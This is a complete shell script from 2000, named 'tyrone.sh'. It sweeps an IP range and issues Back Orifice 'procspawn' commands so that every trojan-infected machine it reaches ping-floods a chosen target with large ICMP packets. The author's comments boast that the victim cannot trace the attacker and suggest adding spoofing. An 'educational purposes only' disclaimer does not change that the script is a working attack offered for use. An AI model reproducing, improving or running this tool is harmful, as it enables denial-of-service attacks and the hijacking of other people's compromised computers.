#!/bin/sh
#
# tyrone.sh by ben-z; 11/22/00 -  neat DoS tool using B.O. servers
# for educational purposes only.. CAUSE YOU BETTER CALL TYRONE!
# thanks to #og @ irc.ndrsnet.com. benz@slacknet.org (ben-z@ndrsnet)
#
# Requires:
#  bounix-1.21
#
# Description:
#  Sweeps an entire IP block with the Back Orifice command to
#  spawn "ping -t -l 5000 <target>". Depending on how many BO
#  infected boxen are in the given range, it shouldn't take very 
#  long for a dozen or so computers to be sending large icmp_echo 
#  requests to your target. Of course the victim has no way of
#  tracing back who actually launched the attack.
#
#  Sorry i didnt have time to do this in C. Feel free to steal
#  my idea if you want to code it better (with spoofing!)
#
# Usage:
#  ./tyrone <target> <ip block (i.e. 127.0)> [sleep after <n> packets (50)]
#
# *  Note: A 28.8 modem does not lag at all using "50" for the sleep value.
#          If your connection is any faster, you probably want to use a much
#          higher value, i.e. 255.
#  

sleep="50"
if [ "$3" != "" ]; then
 sleep="$3"
fi

if [ "$2" = "" ]; then
 echo "./tyrone <target> <ip block (i.e. 127.0)> [sleep after <n>]"
 exit 0
fi


bcnt="1"
ccnt="0"
scnt="0"
clear
echo "## Tyrone v1; Another fine ben-z production ##"
echo ""

echo -n "# resolving target.."
host $1 1>.host.tyrone 2>.host.tyrone
cat .host.tyrone | grep -i "not found" >/dev/null 2>&1
if [ $? -eq 0 ]; then
 echo " failed."
 exit 0
fi
rm .host.tyrone 1>/dev/null 2>/dev/null
echo " ok."

echo -n "# checking for bounix.."
which bounix | grep "no bounix" >/dev/null 2>&1
if [ $? -eq 0 ]; then
 echo " failed."
 exit 0
fi
echo " ok."

echo -n "# attacking $1."
while [ "$bcnt" != "254" ]; do
 ccnt=`expr $ccnt + 1`
 scnt=`expr $scnt + 1`
 if [ "$scnt" = "$sleep" ]; then
  sleep 5
  scnt="0"
 fi
 if [ "$ccnt" = "255" ]; then
  bcnt=`expr $bcnt + 1`
  ccnt="1"
 fi
 echo "host $2.$bcnt.$ccnt" 1>.in.tyrone 2>.in.tyrone
 echo -n 'procspawn "ping -t -l 5000 ' >>.in.tyrone
 echo -n "$1" >>.in.tyrone
 echo '"' >>.in.tyrone
 echo "quit" >>.in.tyrone
 bounix <.in.tyrone 1>/dev/null 2>/dev/null &   
 echo -n "."
done
echo ""
echo "# done!"

